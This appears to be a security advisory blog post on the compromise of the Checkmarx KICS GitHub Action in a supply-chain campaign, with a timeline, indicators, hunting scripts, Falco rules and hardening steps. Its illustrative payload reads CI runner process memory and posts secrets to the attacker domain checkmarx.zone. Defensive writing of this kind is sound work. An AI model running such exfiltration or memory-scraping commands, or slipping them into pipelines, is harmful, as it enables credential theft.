Request change

Checkmarx KICS GitHub Action Compromised - TeamPCP Supply Chain Attack

checkmarx/kics-github-action - used to scan Terraform, Kubernetes, Dockerfiles, and CloudFormation for misconfigurations - had all release tags force-pushed to malicious commits containing a modified setup.sh. The payload exfiltrated secrets to C2 domain checkmarx.zone, installed systemd persistence, added Kubernetes-focused persistence code, and used the victim's own GITHUB_TOKEN as a fallback C2 channel.

Checkmarx KICS GitHub Action Compromised - TeamPCP Supply Chain Attack

Your IaC Scanner Was Stealing Your Secrets. KICS Action Compromised.

TeamPCP injected a credential-stealing infostealer into every release tag of the Checkmarx KICS GitHub Action - four days after doing the same to Trivy. If your pipeline ran KICS between 12:58-16:50 UTC on March 23, rotate every secret now.

checkmarx/kics-github-action - used to scan Terraform, Kubernetes, Dockerfiles, and CloudFormation for misconfigurations - had all release tags force-pushed to malicious commits containing a modified setup.sh. The payload exfiltrated secrets to C2 domain checkmarx.zone, installed systemd persistence, added Kubernetes-focused persistence code, and used the victim’s own GITHUB_TOKEN as a fallback C2 channel.

What Is KICS - and Why Does This Hurt

KICS (Keeping Infrastructure as Code Secure) is Checkmarx's open-source IaC security scanner. It detects misconfigurations, compliance violations, and security vulnerabilities in Terraform, Kubernetes manifests, Dockerfiles, CloudFormation, Ansible, and more. It is widely deployed as a first-line security gate in enterprise CI/CD pipelines before infrastructure changes reach production.

The checkmarx/kics-github-action runs KICS directly from GitHub workflows. A typical pipeline step looks like this:

.github/workflows/iac-scan.yml

# Typical KICS usage - version tag reference is the risk vector
- name: Run KICS IaC Scan
  uses: checkmarx/kics-github-action@v2.1.7  # ALL tags - COMPROMISED
  with:
    path: 'terraform/'
    platform_type: terraform,kubernetes
    output_formats: 'json,sarif'

This is the brutal irony: KICS is a security tool. Teams run it to protect their infrastructure. By compromising the Action that delivers KICS, TeamPCP turned the security scanning step itself into the attack vector. The tool you trusted to find misconfigurations was exfiltrating your cloud credentials. This is the third major supply chain attack in five days, following the Trivy compromise on March 19. Same threat actor. Same technique. New target.

On March 23, 2026, the cx-plugins-releases service account (GitHub ID: 225848595) was used to force-push malicious commits to all release tags in Checkmarx/kics-github-action. The attack window lasted approximately four hours. The master branch was not modified throughout.

  • Mar 19, 2026 TeamPCP compromises Trivy - aquasecurity/trivy-action all tags + setup-trivy + v0.69.4 binary

C2: scan[.]aquasecurtiy[.]org (typosquat). Credential stealer reads Runner.Worker process memory. Fallback: tpcp-docs repo via GITHUB_TOKEN. Window: ~12 hours for trivy-action, ~4 hours for setup-trivy.

  • Mar 23, 12:53 UTC Two malicious VS Code extensions published to Open VSX via ast-phoenix account

ast-results v2.53.0 and cx-dev-assist v1.7.0 - identical payloads, published 12 seconds apart. First sign of the Checkmarx compromise wave.

  • Mar 23, 12:58 UTC All kics-github-action tags force-pushed to malicious commits via cx-plugins-releases account

New C2: checkmarx.zone. Enhanced payload vs Trivy: adds Kubernetes persistence code and GITHUB_TOKEN fallback repo (docs-tpcp). Master branch untouched - only release tags poisoned.

  • Mar 23, ~16:50 UTC GitHub user cyril-flieller files issue - repository taken offline by Checkmarx

Repository removed from GitHub. Original issue thread also deleted - same cover-up playbook as Trivy (discussion #10265 deletion). About 4 hours of active malicious execution window.

  • Mar 23, 19:24 UTC Repository reinstated - Checkmarx states "The issue is resolved now"

Repository comes back online. Maintainers confirm master branch was clean throughout the incident.

  • Mar 23, 22:25 UTC Sysdig reports checkmarx/ast-github-action also impacted (tag v2.3.28 confirmed)

A second Checkmarx action affected. Based on TeamPCP tactics, Sysdig assesses all tags were likely compromised. Same C2 domain and payload.

Master Branch Was Clean - Only Tags Were Poisoned The attack exclusively targeted release tags via force-push. Any workflow using `@main` or the master branch directly was not affected. But any workflow pinned to a version tag - `@v2.1.7`, `@v1.7.0`, `@latest`, or any other version - was executing attacker-controlled code during the window.

Anatomy of the Malicious setup.sh

The payload injected into setup.sh was significantly more sophisticated than the Trivy version. It combined credential theft, process memory dumping, exfiltration, Kubernetes-specific persistence, and a GitHub-hosted fallback C2 - all executing silently inside what looks like a legitimate IaC security scan.

1 - Credential Theft from Runner Memory

The stealer reads the Runner.Worker process memory to extract all secrets accessible in the workflow environment: GitHub PATs, GITHUB_TOKEN, AWS/Azure/GCP credentials, Kubernetes tokens, Docker registry credentials, SSH keys, and any secrets passed as environment variables.

2 - Exfiltration to checkmarx.zone

Stolen credentials are encrypted and exfiltrated via HTTP POST to checkmarx.zone - a domain specifically chosen to blend in with legitimate Checkmarx network traffic in firewall and proxy logs. This deliberately avoids the pattern that triggered detection in the Trivy incident. Rotating C2 domains between targets defeats simple domain blocklists deployed after the first wave.

3 - GITHUB_TOKEN Fallback C2 (New vs Trivy)

A new capability in the KICS payload: the malware uses the victim’s own GITHUB_TOKEN to create a repository named docs-tpcp in the victim’s GitHub organisation, serving as a fallback communication channel if checkmarx.zone is blocked. The Trivy payload used tpcp-docs. Any organisation with a docs-tpcp repository that appeared on or after March 23 has a confirmed compromise indicator from this mechanism.

malicious-setup.sh - simplified illustration (defensive)

# What the injected setup.sh does - simplified for defender understanding
# NOT actual exploit code - for educational/defensive purposes only

# 1. Read Runner.Worker process memory for all secrets
worker_pid=$(pgrep -f Runner.Worker)
# ... reads /proc/$worker_pid/mem for env vars + credential strings

# 2. Encrypt and exfiltrate to C2
curl -s -X POST https://checkmarx.zone/collect \
  -d "$(echo $secrets | base64 | openssl enc ...)"

# 3. Create fallback repo via GITHUB_TOKEN (new vs Trivy payload)
curl -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/user/repos \
  -d '{"name":"docs-tpcp","private":true}'

# 4. Install systemd user service for persistence (non-CI systems)
# Polls checkmarx.zone/raw every 50 minutes for additional payloads
# Kill switch: aborts if response contains "youtube"

# 5. Kubernetes-focused persistence (new capability vs Trivy)
# Extracts kubeconfig, attempts privileged pod creation

4 - Systemd Persistence on Non-CI Systems

On self-hosted runners or developer machines, the malware installs a systemd user service that polls checkmarx.zone/raw every 50 minutes for additional payloads. This allows TeamPCP to push follow-on commands long after the initial scan completed. At time of writing, checkmarx.zone/raw redirected to “The Show Must Go On” by Queen - suggesting the kill switch was activated after discovery.

5 - Kubernetes Persistence (Evolved Capability)

The KICS payload adds Kubernetes-specific persistence code absent in the Trivy stealer. This directly targets the KICS use case: teams scanning Kubernetes manifests typically have kubeconfig credentials in their runner environment. The malware attempts to leverage this access to create persistent workloads or service accounts within the Kubernetes cluster.

⚠ Why the C2 Domain Changed Between Attacks TeamPCP used `checkmarx.zone` for KICS instead of the Trivy C2 `aquasecurtiy.org`. Organisations that responded to Trivy by blocking the Trivy C2 domain had zero protection against the KICS wave - it used a different domain. This is why behaviour-based detection (watching for unexpected egress from CI runners) outperforms domain blocklists for this entire attack class.

TeamPCP - A Systematic Multi-Target Campaign

TeamPCP is running a deliberate, methodical campaign against DevSecOps tooling. The pattern across March 2026 reveals cascading credential theft: compromised secrets from each target enable access to additional targets, creating a self-propagating supply chain compromise.

Sysdig’s Threat Research Team identified the cascade mechanism: the Trivy action executed in workflows and extracted GITHUB_TOKEN and cloud credentials from runner memory. Where those tokens had write access to repositories also using Checkmarx actions, TeamPCP used the stolen credentials to push malicious code to those additional dependencies. One poisoned action harvested the credentials to poison the next one.
cm-1.png

💡 Why Security Tools Are Prime Supply Chain Targets Security scanning tools are uniquely high-value targets: they run with elevated trust in CI/CD; they routinely access cloud credentials to scan infrastructure; and they are allowlisted for broad network access because they legitimately pull vulnerability databases. An attacker controlling a security action inherits all of this trust. The same pattern targeted tj-actions/changed-files in 2025. This is now a primary attack surface.

IOCs - What to Hunt For

cm-2.png

hunt-kics-iocs.sh

# 1. Check for fallback C2 repos in your GitHub org
gh api /orgs/YOUR_ORG/repos --paginate \
  --jq '.[].name' | grep -E "^docs-tpcp$|^tpcp-docs$"

# 2. Find workflows using the compromised actions
grep -r "checkmarx/kics-github-action" .github/workflows/
grep -r "checkmarx/ast-github-action" .github/workflows/
grep -r "aquasecurity/trivy-action" .github/workflows/

# 3. List workflow runs during the attack window
gh api /repos/ORG/REPO/actions/runs --paginate \
  --jq '.workflow_runs[] |
    select(.created_at >= "2026-03-23T12:58:00Z" and
           .created_at <= "2026-03-23T16:50:00Z") |
    {id: .id, name: .name}'

# 4. Check self-hosted runners for systemd persistence
ls -la ~/.config/systemd/user/ 2>/dev/null
systemctl --user list-units --type=service | grep -v "\.scope\|\.slice\|\.target"

# 5. Check Kubernetes for unexpected resources (if kubeconfig was accessible)
kubectl get pods -A | grep -v "Running\|Completed"
kubectl get clusterrolebindings | grep -v "system:"

Who Is Affected

cm-3.png

Assume Full Compromise If Your Workflow Ran During the Window Any workflow that executed checkmarx/kics-github-action between 12:58 and 16:50 UTC on March 23, 2026 must be treated as fully compromised. Every secret accessible to that workflow - cloud credentials, tokens, SSH keys, API keys - must be rotated immediately. The attacker had the ability to exfiltrate everything the runner could access.

What to Do Right Now

  1. Stop all workflows using checkmarx/kics-github-action or checkmarx/ast-github-action by version tag. Disable immediately until confirmed clean.
  2. Rotate every secret that was accessible during the window: AWS/Azure/GCP credentials, GitHub PATs, SSH keys, Kubernetes tokens, Docker registry creds, database passwords, API keys.
  3. Search your GitHub org for repos named docs-tpcp or tpcp-docs. Their presence confirms successful exfiltration via the GITHUB_TOKEN fallback mechanism.
  4. Audit workflow run logs from March 19-23 for outbound connections to checkmarx.zone or scan.aquasecurtiy.org.
  5. Check self-hosted runners for systemd user services installed by the malware. Examine ~/.config/systemd/user/ for unexpected services.
  6. Audit Kubernetes clusters accessible from CI runners for unexpected workloads, service accounts, or RBAC bindings created around March 23.
  7. Switch to running KICS via Docker image directly (checkmarx/kics:latest) to bypass the GitHub Action entirely while the situation stabilises.
  8. When re-enabling, pin to a verified commit SHA - not a version tag. Confirm the SHA with Checkmarx’s official advisory before use.

rotate-secrets.sh

# Rotate AWS access keys for CI user
aws iam create-access-key --user-name YOUR_CI_USER
# Update GitHub Actions secret then delete the old key
aws iam delete-access-key --user-name YOUR_CI_USER \
  --access-key-id OLD_ACCESS_KEY_ID

# Check AWS CloudTrail for credential misuse during attack window
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity \
  --start-time 2026-03-23T12:58:00Z \
  --end-time 2026-03-23T16:50:00Z

# Revoke Kubernetes tokens - service accounts auto-recreate tokens
kubectl delete secret -n kube-system -l kubernetes.io/service-account.name=YOUR_SA

# Update GitHub Actions secrets
gh secret set AWS_ACCESS_KEY_ID --body "NEW_VALUE" --repo ORG/REPO
gh secret set AWS_SECRET_ACCESS_KEY --body "NEW_VALUE" --repo ORG/REPO

Detecting Exploitation

Falco Rules - TeamPCP C2 + Memory Theft

falco-teampcp.yaml

- rule: TeamPCP C2 Connection Detected
  desc: Outbound connection to known TeamPCP C2 infrastructure
  condition: |
    evt.type = connect and fd.typechar = 4
    and fd.sip.name in (
      "checkmarx.zone",
      "scan.aquasecurtiy.org"
    )
  output: |
    TeamPCP C2 connection (proc=%proc.name dest=%fd.sip.name
    container=%container.id user=%user.name)
  priority: CRITICAL
  tags: [network, supply_chain, TeamPCP, CVE-2026-KICS]

- rule: CI Runner Process Memory Read
  desc: Non-privileged process reading Runner.Worker memory
  condition: |
    evt.type = ptrace
    and proc.name != "Runner.Worker"
    and container.id != "host"
  output: Suspicious memory access on CI runner (proc=%proc.name)
  priority: CRITICAL
  tags: [process, supply_chain, credential_theft]

- rule: GITHUB_TOKEN Used to Create Repository
  desc: CI runner process making GitHub API call to create a repo (fallback C2)
  condition: |
    evt.type in (connect, sendto)
    and fd.sip.name = "api.github.com"
    and proc.name in (curl, wget, python, node)
    and container.id != "host"
  output: Possible GITHUB_TOKEN fallback C2 attempt (proc=%proc.name)
  priority: WARNING
  tags: [network, supply_chain, TeamPCP]

Hardening Against This Class of Attack

1 - Pin All Actions to Commit SHAs

hardened-workflow.yml

# ❌ Version tag - force-pushable, can point to malicious commit
- uses: checkmarx/kics-github-action@v2.1.7

# ✓ Commit SHA - immutable, cannot be changed
- uses: checkmarx/kics-github-action@<verified-clean-sha>  # v2.1.7

# ✓ Even better - use Docker image directly (bypasses Action entirely)
- name: Run KICS via Docker
  run: |
    docker run --rm -v ${{ github.workspace }}:/path \
      checkmarx/kics:latest scan \
      --path /path/terraform --report-formats json,sarif \
      --output-path /path/results

2 - Restrict GITHUB_TOKEN Permissions

permissions:
  contents: read      # only what's needed for checkout
  # No write = attacker cannot create docs-tpcp fallback repo
  # No id-token: write = cannot assume cloud roles via OIDC
  # No packages: write = cannot push to container registry

3 - Egress Monitoring with StepSecurity Harden-Runner

steps:
  - name: Harden Runner
    uses: step-security/harden-runner@<sha>
    with:
      egress-policy: block
      allowed-endpoints: |
        github.com:443
        ghcr.io:443
        checkmarx.com:443
      # checkmarx.zone is NOT in the allowlist → blocked at network layer
      # Would have stopped both KICS and Trivy C2 exfiltration

Restricting GITHUB_TOKEN to contents: read prevents the docs-tpcp fallback repo creation. Harden-Runner blocks the primary C2 exfiltration. Together, these two controls would have neutralised both the Trivy and KICS attacks at the runner level regardless of which action delivered the payload.

The Bigger Picture

What we witnessed across the last week of March 2026 is a systematic, escalating campaign against DevSecOps tooling specifically. TeamPCP is not targeting random open-source projects - they are targeting the tools that security-conscious teams trust most and run in privileged CI environments: vulnerability scanners, IaC security scanners, and their associated GitHub Actions.

The cascade is methodical: Trivy credentials enabled access to Checkmarx repositories; each compromised action uses a new C2 domain to evade blocklists from the previous wave; the payload evolved between targets to add Kubernetes-specific capabilities that match the new target’s use case. This is sophisticated threat tradecraft, not opportunistic script-kiddie activity.

The three controls that would have stopped the entire campaign - SHA pinning, minimal GITHUB_TOKEN permissions, and egress monitoring - have been recommended best practices for years. This campaign is a practical demonstration of what happens when those recommendations remain advisory rather than enforced.

Trust No Tag. Pin to SHA. Monitor Egress.

The entire TeamPCP campaign could have been stopped by three controls: commit SHA pinning, contents: read GITHUB_TOKEN permissions, and CI runner egress monitoring. None require enterprise tooling. They require discipline.

Share
Like this post?

Request a change or update

Suggest a correction or content update. The post author or an admin will be notified and can resolve or respond.

Comments (0)

No comments yet. Be the first to share your thoughts.

Leave a comment